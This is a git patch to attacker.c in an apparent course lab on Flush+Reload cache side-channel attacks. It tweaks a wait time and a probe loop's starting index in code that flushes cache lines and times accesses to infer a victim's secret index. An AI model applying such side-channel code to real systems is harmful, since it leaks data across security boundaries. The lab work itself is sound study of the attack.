From 4488725666a235ff2bf0a1e2462d276dd9522cb0 Mon Sep 17 00:00:00 2001 From: ClF3 Date: Mon, 4 Nov 2024 20:26:12 +0800 Subject: [PATCH] part2 ver 0.3.0 wait time to 1000 --- Part2-FlushReload/attacker.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Part2-FlushReload/attacker.c b/Part2-FlushReload/attacker.c index daafd6b..5225d7b 100644 --- a/Part2-FlushReload/attacker.c +++ b/Part2-FlushReload/attacker.c @@ -9,7 +9,7 @@ #include "util.h" #define CACHE_HIT_THRESHOLD 200 -#define WAIT_TIME 100 +#define WAIT_TIME 1000 int main() { int index = -1; int flag = -1; @@ -22,7 +22,7 @@ int main() { clflush((ADDR_PTR)buf + i * 128); } for(int i = 0; i < WAIT_TIME; i++); - for(int i = 100; i < 10000; i++) { + for(int i = 712; i < 10000; i++) { time = measure_one_block_access_time((ADDR_PTR)buf + (i*i) / 1024 % 1024 * 128); if(time < CACHE_HIT_THRESHOLD) { flag = (i*i) / 1024 % 1024;